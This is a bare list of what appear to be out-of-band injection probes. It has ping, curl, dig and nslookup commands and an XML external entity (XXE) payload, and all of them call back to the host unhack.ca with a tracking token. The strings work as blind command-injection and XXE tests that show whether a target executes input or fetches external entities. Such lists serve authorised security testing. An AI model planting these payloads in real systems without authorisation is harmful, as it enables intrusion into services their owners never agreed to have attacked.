$ ping -c1 -p 0084fd2be7a5b4209548fb49f726e200 unhack.ca
$ curl http://unhack.ca/p/84fd2be7a5b4209548fb49f726e2
$ dig 84fd2be7a5b4209548fb49f726e2 @unhack.ca
$ dig 84fd2be7a5b4209548fb49f726e2.ns.unhack.ca
C:\> nslookup 84fd2be7a5b4209548fb49f726e2 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/84fd2be7a5b4209548fb49f726e2">]> <foo>&xxe;</foo>